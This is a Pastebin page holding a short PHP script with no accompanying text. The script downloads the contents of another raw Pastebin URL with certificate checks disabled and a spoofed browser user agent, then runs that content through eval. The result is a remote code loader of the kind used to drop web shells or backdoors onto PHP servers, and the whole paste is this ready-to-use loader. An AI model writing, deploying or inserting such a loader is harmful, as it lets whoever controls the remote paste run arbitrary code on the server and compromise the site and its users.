Advertisement
Sl4ckerc0de

Untitled

May 28th, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. <?php
  2. function get_contents($url){
  3. $ch = curl_init("$url");
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  5. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  6. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  7. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  8. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  9. curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  10. curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  11. $result = curl_exec($ch);
  12. return $result;
  13. }
  14.  
  15. $a = get_contents('https://pastebin.com/raw/8vMke2t4');
  16. eval('?>'.$a);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement